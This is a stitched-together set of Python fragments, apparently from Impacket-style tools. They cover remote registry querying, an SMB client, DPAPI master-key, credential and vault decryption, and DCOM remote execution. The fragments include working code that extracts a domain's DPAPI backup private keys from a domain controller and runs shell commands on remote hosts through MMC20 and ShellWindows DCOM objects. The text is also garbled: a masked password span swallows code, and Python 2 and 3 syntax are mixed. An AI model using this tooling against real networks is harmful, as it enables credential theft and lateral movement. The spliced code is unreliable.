'HKU': ans = rrp.hOpenCurrentUser(dce) elif rootKey.upper() == 'HKCR': ans = rrp.hOpenClassesRoot(dce) else: raise Exception('Invalid root key %s ' % rootKey) hRootKey = ans['phKey'] ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE) if self.__options.v: print(keyName) value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], self.__options.v) print('\t' + self.__options.v + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])) elif self.__options.ve: print(keyName) value = rrp.hBaseRegQueryValue(dce, ans2['phkResult'], '') print('\t' + '(Default)' + '\t' + self.__regValues.get(value[0], 'KEY_NOT_FOUND') + '\t', str(value[1])) elif self.__options.s: self.__print_all_subkeys_and_entries(dce, subKey + '\\', ans2['phkResult'], 0) else: print(keyName) self.__print_key_values(dce, ans2['phkResult']) i = 0 while True: try: key = rrp.hBaseRegEnumKey(dce, ans2['phkResult'], i) print(keyName + '\\' + key['lpNameOut'][:-1]) i += 1 except Exception: break # ans5 = rrp.hBaseRegGetVersion(rpc, ans2['phkResult']) # ans3 = rrp.hBaseRegEnumKey(rpc, ans2['phkResult'], 0) def __print_key_values(self, rpc, keyHandler): i = 0 while True: try: ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i) lp_value_name = ans4['lpValueNameOut'][:-1] if len(lp_value_name) == 0: lp_value_name = '(Default)' lp_type = ans4['lpType'] lp_data = b''.join(ans4['lpData']) print('\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t', end=' ') self.__parse_lp_data(lp_type, lp_data) i += 1 except rrp.DCERPCSessionError as e: if e.get_error_code() == ERROR_NO_MORE_ITEMS: break def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index): index = 0 while True: try: subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index) index += 1 ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'], samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\' print(newKeyName) self.__print_key_values(rpc, ans['phkResult']) self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0) except rrp.DCERPCSessionError as e: if e.get_error_code() == ERROR_NO_MORE_ITEMS: break except rpcrt.DCERPCException as e: if str(e).find('access_denied') >= 0: logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1]) continue elif str(e).find('rpc_x_bad_stub_data') >= 0: logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1]) return raise @staticmethod def __parse_lp_data(valueType, valueData): try: if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ: if type(valueData) is int: print('NULL') else: print("%s" % (valueData.decode('utf-16le')[:-1])) elif valueType == rrp.REG_BINARY: print('') hexdump(valueData, '\t') elif valueType == rrp.REG_DWORD: print("0x%x" % (unpack('<L', valueData)[0])) elif valueType == rrp.REG_QWORD: print("0x%x" % (unpack('<Q', valueData)[0])) elif valueType == rrp.REG_NONE: try: if len(valueData) > 1: print('') hexdump(valueData, '\t') else: print(" NULL") except: print(" NULL") elif valueType == rrp.REG_MULTI_SZ: print("%s" % (valueData.decode('utf-16le')[:-2])) else: print("Unknown Type 0x%x!" % valueType) hexdump(valueData) except Exception as e: logging.debug('Exception thrown when printing reg value %s', str(e)) print('Invalid data') pass
def main(): # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>') parser.add_argument('-f','--command-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell') parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity (can be stacked)') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials ' 'cannot be found, it will use the ones specified in the command ' 'line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') args = parser.parse_args() if args.verbose == 0: logging.basicConfig(level=logging.INFO) else: logging.basicConfig(level=logging.DEBUG) print(args) creds = SMBCredential.from_args(args) print(str(creds)) target = SMBTarget.from_args(args) print(str(target)) print(repr(target.get_hostname())) print(target.get_addr()[0]) try: smb_client = SMBConnection(target, sess_port=target.port) smb_client.login(creds) shell = MiniImpacketShell(smb_client) if args.command_file is not None: logging.info("Executing commands from %s" % args.command_file.name) for line in args.command_file.readlines(): if line[0] != '#': print("# %s" % line, shell.onecmd(line)) else: print (line,) else: shell.cmdloop() except Exception as e: logging.exception('Exception in main')
def run(self): if self.options.action.upper() == 'MASTERKEY': fp = open(options.file, 'rb') data = fp.read() mkf= MasterKeyFile(data) mkf.dump() data = data[len(mkf):] if mkf['MasterKeyLen'] > 0: mk = MasterKey(data[:mkf['MasterKeyLen']]) data = data[len(mk):] if mkf['BackupKeyLen'] > 0: bkmk = MasterKey(data[:mkf['BackupKeyLen']]) data = data[len(bkmk):] if mkf['CredHistLen'] > 0: ch = CredHist(data[:mkf['CredHistLen']]) data = data[len(ch):] if mkf['DomainKeyLen'] > 0: dk = DomainKey(data[:mkf['DomainKeyLen']]) data = data[len(dk):] if self.options.system and self.options.security: # We have hives, let's try to decrypt with them self.getLSA() decryptedKey = mk.decrypt(self.dpapiSystem['UserKey']) if decryptedKey: print('Decrypted key with UserKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = mk.decrypt(self.dpapiSystem['MachineKey']) if decryptedKey: print('Decrypted key with MachineKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(self.dpapiSystem['UserKey']) if decryptedKey: print('Decrypted Backup key with UserKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return decryptedKey = bkmk.decrypt(self.dpapiSystem['MachineKey']) if decryptedKey: print('Decrypted Backup key with MachineKey') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.key: key = unhexlify(self.options.key[2:]) decryptedKey = mk.decrypt(key) if decryptedKey: print('Decrypted key with key provided') print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.pvk and dk: pvkfile = open(self.options.pvk, 'rb').read() key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):]) private = privatekeyblob_to_pkcs1(key) cipher = PKCS1_v1_5.new(private) decryptedKey = cipher.decrypt(dk['SecretData'][::-1], None) if decryptedKey: domain_master_key = DPAPI_DOMAIN_RSA_MASTER_KEY(decryptedKey) key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']] print('Decrypted key with domain backup key provided') print('Decrypted key: 0x%s' % hexlify(key).decode('latin-1')) return elif self.options.sid and self.options.key is None: # Do we have a password? if self.options.password is None: # Nope let's ask it from getpass import getpass password = getpass("Password:"******"Password:"******"G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"): buffer = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'], keyname)) guid = bin_to_string(buffer) name = "G$BCKUPKEY_{}".format(guid) secret = crypto.decryptSecret(connection.getSessionKey(), lsad.hLsarRetrievePrivateData(dce, resp['PolicyHandle'], name)) keyVersion = struct.unpack('<L', secret[:4])[0] if keyVersion == 1: # legacy key backup_key = P_BACKUP_KEY(secret) backupkey = backup_key['Data'] if self.options.export: logging.debug("Exporting key to file {}".format(name + ".key")) open(name + ".key", 'wb').write(backupkey) else: print("Legacy key:") print("0x%s" % hexlify(backupkey)) print("\n") elif keyVersion == 2: # preferred key backup_key = PREFERRED_BACKUP_KEY(secret) pvk = backup_key['Data'][:backup_key['KeyLength']] cert = backup_key['Data'][backup_key['KeyLength']:backup_key['KeyLength'] + backup_key['CertificateLength']] # build pvk header (PVK_MAGIC, PVK_FILE_VERSION_0, KeySpec, PVK_NO_ENCRYPT, 0, cbPvk) header = PVK_FILE_HDR() header['dwMagic'] = 0xb0b5f11e header['dwVersion'] = 0 header['dwKeySpec'] = 1 header['dwEncryptType'] = 0 header['cbEncryptData'] = 0 header['cbPvk'] = backup_key['KeyLength'] backupkey_pvk = header.getData() + pvk # pvk blob backupkey = backupkey_pvk if self.options.export: logging.debug("Exporting certificate to file {}".format(name + ".der")) open(name + ".der", 'wb').write(cert) logging.debug("Exporting private key to file {}".format(name + ".pvk")) open(name + ".pvk", 'wb').write(backupkey) else: print("Preferred key:") header.dump() print("PRIVATEKEYBLOB:{%s}" % (hexlify(backupkey))) print("\n") return elif self.options.action.upper() == 'CREDENTIAL': fp = open(options.file, 'rb') data = fp.read() cred = CredentialFile(data) blob = DPAPI_BLOB(cred['Data']) if self.options.key is not None: key = unhexlify(self.options.key[2:]) decrypted = blob.decrypt(key) if decrypted is not None: creds = CREDENTIAL_BLOB(decrypted) creds.dump() return else: # Just print the data blob.dump() elif self.options.action.upper() == 'VAULT': if options.vcrd is None and options.vpol is None: print('You must specify either -vcrd or -vpol parameter. Type --help for more info') return if options.vcrd is not None: fp = open(options.vcrd, 'rb') data = fp.read() blob = VAULT_VCRD(data) if self.options.key is not None: key = unhexlify(self.options.key[2:]) cleartext = None for i, entry in enumerate(blob.attributesLen): if entry > 28: attribute = blob.attributes[i] if 'IV' in attribute.fields and len(attribute['IV']) == 16: cipher = AES.new(key, AES.MODE_CBC, iv=attribute['IV']) else: cipher = AES.new(key, AES.MODE_CBC) cleartext = cipher.decrypt(attribute['Data']) if cleartext is not None: # Lookup schema Friendly Name and print if we find one if blob['FriendlyName'].decode('utf-16le')[:-1] in VAULT_KNOWN_SCHEMAS: # Found one. Cast it and print vault = VAULT_KNOWN_SCHEMAS[blob['FriendlyName'].decode('utf-16le')[:-1]](cleartext) vault.dump() else: # otherwise hexdump(cleartext) return else: blob.dump() elif options.vpol is not None: fp = open(options.vpol, 'rb') data = fp.read() vpol = VAULT_VPOL(data) vpol.dump() if self.options.key is not None: key = unhexlify(self.options.key[2:]) blob = vpol['Blob'] data = blob.decrypt(key) if data is not None: keys = VAULT_VPOL_KEYS(data) keys.dump() return print('Cannot decrypt (specify -key or -sid whenever applicable) ')
def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document',)) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit',))[0] elif self.__dcomObject == 'MMC20': iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit',))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) else: resp = iDocument.GetIDsOfNames(('Application',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) if self.shell is not None: self.shell.do_exit('') else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1)
class SMBTransport(DCERPCTransport): """Implementation of ncacn_np protocol sequence""" def __init__( self, remoteName, dstport=445, filename="", username="", password="", domain="", lmhash="", nthash="", aesKey="", TGT=None, TGS=None, remote_host="", smb_connection=0, doKerberos=False, kdcHost=None, ): DCERPCTransport.__init__(self, remoteName, dstport) self.__socket = None self.__tid = 0 self.__filename = filename self.__handle = 0 self.__pending_recv = 0 self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS) self._doKerberos = doKerberos self._kdcHost = kdcHost if remote_host != "": self.setRemoteHost(remote_host) if smb_connection == 0: self.__existing_smb = False else: self.__existing_smb = True self.set_credentials(*smb_connection.getCredentials()) self.__prefDialect = None self.__smb_connection = smb_connection def preferred_dialect(self, dialect): self.__prefDialect = dialect def setup_smb_connection(self): if not self.__smb_connection: self.__smb_connection = SMBConnection( self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(), preferredDialect=self.__prefDialect, ) def connect(self): # Check if we have a smb connection already setup if self.__smb_connection == 0: self.setup_smb_connection() if self._doKerberos is False: self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash) else: self.__smb_connection.kerberosLogin( self._username, self._password, self._domain, self._lmhash, self._nthash, self._aesKey, kdcHost=self._kdcHost, TGT=self._TGT, TGS=self._TGS, ) self.__tid = self.__smb_connection.connectTree("IPC$") self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename) self.__socket = self.__smb_connection.getSMBServer().get_socket() return 1 def disconnect(self): self.__smb_connection.disconnectTree(self.__tid) # If we created the SMB connection, we close it, otherwise # that's up for the caller if self.__existing_smb is False: self.__smb_connection.logoff() self.__smb_connection = 0 def send(self, data, forceWriteAndx=0, forceRecv=0): if self._max_send_frag: offset = 0 while 1: toSend = data[offset : offset + self._max_send_frag] if not toSend: break self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset=offset) offset += len(toSend) else: self.__smb_connection.writeFile(self.__tid, self.__handle, data) if forceRecv: self.__pending_recv += 1 def recv(self, forceRecv=0, count=0): if self._max_send_frag or self.__pending_recv: # _max_send_frag is checked because it's the same condition we checked # to decide whether to use write_andx() or send_trans() in send() above. if self.__pending_recv: self.__pending_recv -= 1 return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead=self._max_recv_frag) else: return self.__smb_connection.readFile(self.__tid, self.__handle) def get_smb_connection(self): return self.__smb_connection def set_smb_connection(self, smb_connection): self.__smb_connection = smb_connection self.set_credentials(*smb_connection.getCredentials()) self.__existing_smb = True def get_smb_server(self): # Raw Access to the SMBServer (whatever type it is) return self.__smb_connection.getSMBServer() def get_socket(self): return self.__socket def doesSupportNTLMv2(self): return self.__smb_connection.doesSupportNTLMv2()